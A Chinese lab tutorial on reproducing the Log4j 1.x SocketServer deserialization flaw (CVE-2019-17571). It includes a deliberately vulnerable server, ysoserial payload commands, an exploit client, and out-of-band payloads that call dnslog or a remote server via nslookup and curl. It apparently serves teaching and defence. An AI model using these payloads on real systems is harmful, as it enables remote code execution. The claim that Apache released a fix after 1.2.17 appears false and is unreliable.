1. 项目概述:为什么我们要亲手搭建一个“危险”的环境?
如果你是一名安全研究员、渗透测试工程师,或者是一名对Java安全有浓厚兴趣的开发者,那么“复现漏洞”这个词对你来说一定不陌生。它不像CTF比赛那样充满竞技性,也不像直接利用现成工具进行攻击那样“快餐化”。复现,尤其是从零开始构建漏洞环境并进行深度复现,更像是一次外科手术式的解剖。你需要亲手准备“手术台”(漏洞环境),找到“病灶”(漏洞点),并清晰地展示“病理”(漏洞原理)。今天我们要聊的,就是这样一个经典案例:Apache Log4j 1.x系列中的SocketServer反序列化漏洞,编号CVE-2019-17571。
这个漏洞虽然不像它的“后辈”Log4Shell(CVE-2021-44228)那样轰动全球,但却是理解Java反序列化攻击链一个极佳的入门标本。它涉及了Log4j 1.x的SocketServer组件,攻击者可以通过网络发送恶意的序列化对象,在服务端触发反序列化,从而执行任意代码。听起来很抽象?别急,我们的目标就是让它变得具体。网络上关于这个漏洞的分析文章不少,但大多停留在原理描述和简单的漏洞利用演示,对于“如何从头搭建一个可供研究、调试的完整环境”往往一笔带过。这让很多想深入学习的朋友望而却步,感觉中间缺了最关键的一环——动手的路径。
所以,这篇内容的核心就是“从零到一”。我们不依赖任何现成的、封装好的漏洞靶场或一键脚本,而是从一个干净的虚拟机或开发机开始,一步步地:下载指定版本的Log4j源码、编译、配置SocketServer、编写一个简单的服务端和客户端测试程序、构造恶意序列化载荷、最后在调试器中亲眼见证漏洞的触发和执行流。这个过程你会遇到各种预料之中和预料之外的问题,比如依赖冲突、JDK版本兼容性、序列化载荷构造失败等等,而解决这些问题的经验,恰恰是比漏洞原理本身更宝贵的财富。通过这次深度复现,你不仅能彻底搞懂CVE-2019-17571,更能掌握一套研究Java反序列化漏洞的通用方法论,未来面对其他类似漏洞时,你将拥有独立分析的能力。
2. 漏洞原理深度解析:SocketServer与反序列化的危险邂逅
在动手之前,我们必须先搞清楚敌人是谁,以及它为什么会出现。CVE-2019-17571的根源在于Apache Log4j 1.2.x版本中,一个用于通过网络接收日志事件的组件:SocketServer。
2.1 Log4j 1.x的SocketServer设计初衷
在分布式系统或早期架构中,有时需要将多个应用服务器的日志集中收集到一台日志服务器上。Log4j 1.x的SocketServer就是为了这个目的而生的。它是一个独立的Java应用,启动后会监听一个指定的TCP端口(默认4560)。其他应用程序(客户端)可以使用Log4j的SocketAppender,将日志事件序列化成Java对象,然后通过网络发送给这个SocketServer。SocketServer接收到数据后,会对其进行反序列化,还原成日志事件对象,然后调用本地的Log4j配置来处理这个日志事件(比如输出到文件或控制台)。这个设计在当时看来是高效的,因为它避免了传输纯文本日志,直接传递对象。
2.2 致命缺陷:不受信任的反序列化
问题的核心就出在“反序列化”这个操作上。Java的反序列化机制功能强大,它可以根据字节流重新构造出完整的对象图,包括执行对象的readObject方法。SocketServer在SocketNode.run()方法中,毫无戒备地对其从网络套接字中读取的数据执行了ObjectInputStream.readObject()。
关键漏洞代码位于org.apache.log4j.net.SocketNode类中:
ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(socket.getInputStream())); while(true) { LoggingEvent event; try { event = (LoggingEvent) ois.readObject(); // 危险操作! } catch (EOFException e) { return; } // ... 处理event }这里创建了一个ObjectInputStream,它直接关联了网络输入流。当ois.readObject()被调用时,它会忠实地反序列化从客户端发送来的任何数据。这里没有任何白名单校验、没有任何类型过滤、也没有任何签名验证。它默认假设客户端发送来的永远是合法的LoggingEvent对象。
2.3 攻击链的形成:从LoggingEvent到任意代码执行
攻击者正是利用了这个天真的假设。他不需要发送一个合法的LoggingEvent,而是可以发送任何一个精心构造的、实现了Serializable接口的恶意对象。这个恶意对象在其readObject方法中,或者在其某个属性的readObject方法中,可以包含任意代码。
一个经典的攻击链是利用Apache Commons Collections库(版本3.0, 3.1, 3.2.1, 4.0等)。该库中一些类的readObject方法在反序列化时会触发Transformer链的调用,最终可以执行命令。例如,InvokerTransformer这个类,它可以利用反射调用任意方法。通过链式组合多个Transformer,攻击者可以构造出Runtime.exec()或ProcessBuilder.start()的调用链,从而在目标服务器上执行系统命令。
所以,完整的攻击路径是:
- 攻击者编写一个利用Apache Commons Collections库的恶意序列化对象(Payload)。
- 攻击者连接到运行着有漏洞Log4j
SocketServer的服务器端口(如4560)。 - 攻击者直接将恶意Payload的字节流发送给该端口。
SocketServer的SocketNode线程读取数据并调用readObject()。- 反序列化过程触发恶意对象中的
readObject逻辑,执行Transformer链。 - Transformer链通过反射调用
Runtime.getRuntime().exec(“恶意命令”),完成远程代码执行。
注意:这里存在一个常见的误解,认为漏洞在
LoggingEvent对象本身。实际上,漏洞在于反序列化过程本身不设防。即使你强制转换(LoggingEvent),在转换发生之前,反序列化这个动作就已经执行了恶意代码。ClassCastException是在恶意代码执行之后才抛出的,已经无法阻止攻击生效。
3. 从零开始构建漏洞复现环境
理解了原理,我们现在开始搭建战场。一个可控、可调试的环境是深度复现的基础。我推荐在虚拟机(如VirtualBox + Ubuntu)或独立的Docker容器中进行,避免污染宿主机环境。
3.1 基础环境准备
首先,我们需要一个干净的Java开发环境。因为这个漏洞影响Log4j 1.2.x,而高版本JDK在安全特性上可能对反序列化有更多限制,为了完美复现,我们选择JDK 8。它既是长期支持版本,也与那个时代的库兼容性最好。
# 在Ubuntu系统上安装OpenJDK 8 sudo apt update sudo apt install openjdk-8-jdk -y # 验证安装 java -version # 应显示类似 “openjdk version “1.8.0_xxx””接下来,我们需要一个IDE来方便地查看源码、编译和调试。IntelliJ IDEA Community Edition是绝佳选择,它对学生和开发者免费,且对Java的支持无与伦比。同样,你也可以使用Eclipse或VS Code。
3.2 获取并编译有漏洞的Log4j版本
漏洞影响Log4j 1.2.x,我们选择1.2.17版本进行复现,这是1.x系列最后一个重要版本,也受此漏洞影响。
- 下载源码:前往Apache Archive仓库下载。你可以直接搜索 “apache log4j 1.2.17 source release”。
- 解压并导入IDE:将下载的
apache-log4j-1.2.17.tar.gz解压。在IntelliJ IDEA中,选择 “Open”,然后定位到解压后的文件夹。IDEA会识别为Maven项目(虽然它很老,用的是Ant,但IDEA通常能处理)。 - 解决依赖与编译:老项目可能会缺少依赖。你需要确保
javax.mail、javax.jms、javax.servlet等JAR包在classpath中。最简单的方法是使用Maven来管理依赖。你可以创建一个新的Maven项目,然后将Log4j的源码复制到src/main/java下,并在pom.xml中添加必要的依赖。或者,直接使用Ant执行build.xml中的编译目标。为了省事,我通常直接寻找该版本预编译的JAR包(log4j-1.2.17.jar)用于测试,但同时保留源码用于调试。
实操心得:直接编译旧版Apache项目有时像考古。如果遇到编译错误,优先尝试寻找预编译的二进制JAR包。从Maven中央仓库(如 https://repo1.maven.org/maven2/log4j/log4j/1.2.17/)直接下载
log4j-1.2.17.jar是最快的方式。我们的重点是复现漏洞,而非重现完整的构建流程。
3.3 构造漏洞利用的核心:恶意Payload库
要利用反序列化漏洞,我们需要一个能生成恶意序列化数据的工具。历史上,最著名的是ysoserial项目。它收集了针对各种Java库(包括Commons Collections, Spring, Groovy等)的“Gadget Chain”,可以生成导致命令执行或其它效果的Payload。
克隆并编译ysoserial:
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译成功后,在
target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar(版本号可能不同)。理解Payload生成:
ysoserial的使用方式如下:java -jar ysoserial.jar [gadget-chain] “[command]” > payload.ser例如,针对Commons Collections 3.1,使用
CommonsCollections1链:java -jar ysoserial.jar CommonsCollections1 “calc.exe” > payload.ser这条命令会生成一个执行
calc.exe(计算器)的序列化Payload,并保存到payload.ser文件中。这个文件的内容就是我们即将发送给SocketServer的“子弹”。
注意事项:
ysoserial是一个纯粹的漏洞研究工具,请仅在你自己完全控制的实验环境中使用。其中包含的Payload可能会对系统造成实际影响。务必在虚拟机或隔离的容器中操作。
3.4 编写测试服务端与客户端
为了清晰地观察漏洞,我们不直接使用Log4j官方SocketServer的启动类,而是自己写一个简化的、便于调试的服务端程序。
简化版漏洞服务端 (VulnerableServer.java):
import org.apache.log4j.net.SocketServer; import java.io.*; import java.net.ServerSocket; import java.net.Socket; public class VulnerableServer { public static void main(String[] args) throws Exception { int port = 4560; System.out.println(“[*] Starting vulnerable SocketServer on port “ + port); // 为了更直观,我们手动实现一个类似SocketNode的循环 ServerSocket serverSocket = new ServerSocket(port); while (true) { try (Socket clientSocket = serverSocket.accept()) { System.out.println(“[+] Accepted connection from “ + clientSocket.getInetAddress()); // 关键漏洞代码:直接反序列化 ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(clientSocket.getInputStream())); Object obj = ois.readObject(); // 漏洞触发点! System.out.println(“[!] Deserialized object: “ + obj.getClass().getName()); // 通常这里会期望一个LoggingEvent,但攻击者可以发送任何对象 if (obj instanceof org.apache.log4j.spi.LoggingEvent) { System.out.println(“[*] Received a legitimate LoggingEvent.”); } else { System.out.println(“[x] Received unexpected object type. Potential attack!”); } } catch (Exception e) { System.err.println(“[x] Error handling client: “ + e.getMessage()); e.printStackTrace(); } } } }这个服务端剥离了Log4j的日志处理逻辑,只保留了最核心的“接收连接-反序列化”步骤,使得调试时干扰更少。
合法客户端 (LegitClient.java): 我们还需要一个合法的客户端,用于发送真正的LoggingEvent,以验证服务的正常功能,并与攻击流量形成对比。
import org.apache.log4j.*; import java.io.ObjectOutputStream; import java.net.Socket; public class LegitClient { public static void main(String[] args) throws Exception { Socket socket = new Socket(“localhost”, 4560); Logger logger = Logger.getLogger(LegitClient.class); LoggingEvent event = new LoggingEvent( “org.apache.log4j.Logger”, logger, System.currentTimeMillis(), Level.INFO, “This is a normal log message”, null ); ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream()); oos.writeObject(event); oos.flush(); oos.close(); socket.close(); System.out.println(“[*] Legitimate LoggingEvent sent.”); } }4. 漏洞触发与深度调试分析
环境备齐,弹药上膛,现在是扣动扳机的时刻。我们将分步进行攻击复现,并用调试器深入观察执行流。
4.1 启动漏洞服务并附加调试器
首先,在IDE中运行我们编写的VulnerableServer。确保classpath中包含log4j-1.2.17.jar以及其所有依赖(如commons-collections-3.1.jar,这是漏洞链能触发的关键)。在IntelliJ IDEA中,你可以直接点击运行,并在“Edit Configurations”中确保JAR包被正确添加。
为了调试,我们需要在ObjectInputStream.readObject()这一行打上断点。然后以Debug模式启动服务端。服务端会停在断点处,等待客户端连接。
4.2 发送合法流量进行基线测试
在另一个终端或IDE实例中,运行LegitClient。观察服务端调试控制台:
- 连接被接受。
- 程序执行到
ois.readObject()断点处。 - 步进(Step Into)
readObject方法,你会看到Java序列化机制开始工作,从流中读取数据并尝试构建对象。 - 最终,反序列化成功,
obj被赋值为一个LoggingEvent实例。 - 程序继续,打印出接收到合法日志事件的消息。
这个过程建立了“正常行为”的基准,帮助我们理解合法流量是如何被处理的。
4.3 生成并发送恶意Payload
现在,使用ysoserial生成恶意Payload。假设我们想让目标服务器弹出一个计算器(在Linux上可能是gnome-calculator或xcalc,在Windows上为calc.exe),并假设服务器上存在commons-collections-3.1.jar。
# 生成Payload,保存为文件 java -jar ysoserial.jar CommonsCollections1 “gnome-calculator” > malicious_payload.ser接下来,我们需要一个简单的攻击客户端(ExploitClient.java),它不关心协议,只是简单地将文件内容发送到目标端口。
import java.io.*; import java.net.Socket; import java.nio.file.Files; import java.nio.file.Paths; public class ExploitClient { public static void main(String[] args) throws Exception { String host = “localhost”; int port = 4560; String payloadFile = “malicious_payload.ser”; byte[] payloadBytes = Files.readAllBytes(Paths.get(payloadFile)); try (Socket socket = new Socket(host, port); OutputStream os = socket.getOutputStream()) { os.write(payloadBytes); os.flush(); System.out.println(“[*] Malicious payload sent to “ + host + “:” + port); } } }运行这个攻击客户端。瞬间,你会看到服务端调试器的变化。
4.4 调试器中的攻击现场实录
当攻击客户端的字节流抵达服务端,ois.readObject()被调用。这一次,步进调试将带你进入完全不同的世界:
步入
readObject:Java开始解析我们发送的字节流。它读取类的描述符。此时,它读到的不是org.apache.log4j.spi.LoggingEvent,而是ysoserialpayload中涉及的类,例如org.apache.commons.collections.functors.InvokerTransformer。触发Gadget Chain:反序列化过程会递归地创建所有对象成员。当反序列化到
InvokerTransformer对象时,其readObject方法会被调用。在这个方法内部,它可能会读取我们预设的“要反射调用的方法名和参数”。观察调用栈:在调试器中,不断步进或使用“Resume Program”(F9)让程序继续。很快,你会看到调用栈(Call Stack)变得非常深,并且出现了
TransformedMap、ChainedTransformer、ConstantTransformer等commons-collections中的类。它们像多米诺骨牌一样被依次触发。最终执行点:调用栈的最终端,你会看到类似
Method.invoke()的调用,参数是Runtime.class和getRuntime。紧接着,下一个调用就是Runtime.exec(“gnome-calculator”)。此时,如果你在图形界面的实验环境中,计算器程序就会被启动。异常与后续:恶意代码执行完毕后,反序列化过程可能因为对象图不完整或类型转换失败而抛出
ClassCastException(无法将恶意对象转换为LoggingEvent)。但这已经是在命令执行之后了,攻击已然成功。服务端会打印异常栈,但进程通常不会崩溃,会继续等待下一个连接。
实操心得:调试反序列化漏洞时,关键不是死磕
readObject的每一步,而是利用调试器的“断点条件”和“方法断点”功能。你可以在Runtime.exec或ProcessBuilder.start方法上打上断点,这样无论调用栈多复杂,程序都会在执行命令前停住,让你清晰地看到攻击链的终点。
5. 漏洞修复方案与防御思路分析
复现漏洞是为了更好地修复和防御。Apache官方针对CVE-2019-17571的修复方式很直接:在Log4j 1.2.17之后,移除了SocketServer类中基于Java原生序列化的实现,转而使用更简单的XML格式或其它安全格式进行网络日志传输。对于无法升级到Log4j 2.x的用户,建议的缓解措施包括:
升级或替换:首选方案是升级到Apache Log4j 2.x。Log4j 2.x的架构重写,默认不包含不安全的反序列化组件,并且提供了丰富的安全特性。如果必须使用1.x,应升级到最新修补版本,并确认相关危险组件已被移除或加固。
网络隔离与访问控制:如果因历史原因必须使用有漏洞的版本,那么严格限制
SocketServer端口的网络访问是必须的。通过防火墙策略,只允许受信任的、内部的日志发送源IP地址访问该端口,禁止从互联网或非信任区域访问。使用反序列化过滤器(JDK 9+):对于使用较新JDK版本的环境,可以利用
ObjectInputFilter(JEP 290)机制来为ObjectInputStream设置反序列化过滤器。可以创建一个只允许org.apache.log4j.spi.LoggingEvent类的白名单过滤器,从根本上阻断恶意对象的反序列化。// JDK 9+ 示例 ObjectInputStream ois = new ObjectInputStream(inputStream); ObjectInputFilter filter = ObjectInputFilter.allowFilter( cl -> cl == org.apache.log4j.spi.LoggingEvent.class, ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter); Object obj = ois.readObject();代码层加固:如果能够修改源码,可以在自定义的
SocketServer中,使用安全的反序列化库,如Jackson的ObjectMapper(配合多态类型处理的安全配置)或Kryo(开启安全模式),或者彻底放弃Java原生序列化,改用JSON、Protobuf等格式。
6. 复现过程中的常见问题与排查技巧
在实际动手复现时,你几乎一定会遇到下面这些问题。这里我把自己踩过的坑和解决方法记录下来,希望能帮你节省大量时间。
问题1:ysoserial生成的Payload执行了,但没弹出计算器,或者没任何反应。
- 可能原因与排查:
- 命令兼容性:
calc.exe是Windows命令。在Linux/Mac上,需要换成gnome-calculator、xcalc或touch /tmp/pwned这样的命令来验证。使用id > /tmp/test将输出重定向到文件,是更可靠的验证方式。 - 权限问题:服务端Java进程可能没有图形界面(GUI)的执行权限,或者在无头(headless)服务器环境中。使用创建文件、执行
whoami、ping本地回环地址等命令来验证。 - Commons Collections版本不匹配:
ysoserial中的CommonsCollections1链针对的是Commons Collections 3.1版本。确保你的服务端classpath中引入的JAR包版本是精确匹配的。如果服务端用的是3.2.2,这个链可能失效。尝试使用ysoserial的其他链,如CommonsCollections2,CommonsCollections3等,它们针对不同版本的库。 - JDK版本过高:高版本JDK(如8u121之后)内置了反序列化过滤器等安全机制,可能会阻断某些Gadget链。这也是为什么我们推荐使用JDK 8早期版本进行复现学习。
- 命令兼容性:
问题2:服务端在readObject时直接抛出ClassNotFoundException或InvalidClassException。
- 可能原因与排查:
- 类路径缺失:
ysoserial的Payload中使用了commons-collections等库中的类。你必须确保这些类的JAR包在服务端进程的classpath中。启动服务端时,通过-cp参数显式指定所有依赖JAR。 - Java版本序列化ID不兼容:不同JDK版本或不同库版本间,同一个类的
serialVersionUID可能不同。确保生成Payload的环境(JDK版本、库版本)与运行服务端的环境尽可能一致。
- 类路径缺失:
问题3:调试时,恶意代码似乎执行了,但服务端进程突然退出或卡死。
- 可能原因与排查:
- Payload导致线程阻塞或资源耗尽:某些复杂的Gadget链可能会发起网络连接、创建大量线程等。在调试时,这可能导致进程异常。尝试使用更简单的验证命令,如
sleep 5。 - 异常未被捕获:我们的简易服务端用
try-catch包裹了整个处理循环,一般不会因异常退出。检查是否在main方法或循环外有未捕获的异常。确保调试器没有设置在“未捕获异常时中断”。
- Payload导致线程阻塞或资源耗尽:某些复杂的Gadget链可能会发起网络连接、创建大量线程等。在调试时,这可能导致进程异常。尝试使用更简单的验证命令,如
问题4:如何验证漏洞是否存在,而不实际执行危险命令?
- 排查技巧:这是渗透测试中的关键。可以使用“盲注”式的Payload,例如:
- DNS外带:使用
nslookup或ping命令,将包含唯一子域名的请求发送到你能控制的DNS服务器(如Burp Collaborator或dnslog.cn)。java -jar ysoserial.jar CommonsCollections1 “nslookup your-unique-id.dnslog.cn”。如果DNS日志收到查询,证明漏洞存在且命令可执行。 - HTTP请求:使用
curl或wget访问一个特定URL。java -jar ysoserial.jar CommonsCollections1 “curl http://your-server/test"。在你的服务器查看访问日志。 - 时间延迟:使用
sleep 10命令,观察服务器响应是否出现延迟。这种方法不产生网络流量,但可靠性稍差。
- DNS外带:使用
问题5:在真实、复杂的老旧系统中,如何快速定位是否存在此类漏洞?
- 排查技巧:
- 组件梳理:使用
ps aux | grep java查看进程,结合lsof -p [PID]查看打开的文件,或检查应用启动脚本,确定其使用的log4j.jar版本。1.2.x版本即存在风险。 - 端口扫描:使用
netstat -tlnp或nmap扫描服务器,查看是否开放了4560或其他自定义的、可能由SocketServer监听的端口。 - 流量分析:如果条件允许,可以在该端口抓包(
tcpdump -i any port 4560 -w log4j.pcap),分析其通信协议。如果流量开头是Java序列化的魔数AC ED 00 05(十六进制),则基本确认使用了Java原生序列化,风险极高。 - 代码审计:搜索代码库中对
org.apache.log4j.net.SocketServer、ObjectInputStream.readObject()的调用。
- 组件梳理:使用
构建并复现CVE-2019-17571的过程,是一次对Java反序列化漏洞的微观解剖。它不仅仅关乎一个具体的漏洞,更揭示了“信任边界”的重要性——永远不要反序列化来自不可信源的数据。通过亲手搭建环境、跟踪调试、解决问题,你获得的对漏洞机理、利用链构造和防御策略的理解,是任何理论文章都无法替代的。当你下次再听到“反序列化漏洞”时,脑海中浮现的将不再是模糊的概念,而是一幅清晰的、从字节流到系统命令执行的完整画面。这才是深度复现带来的真正价值。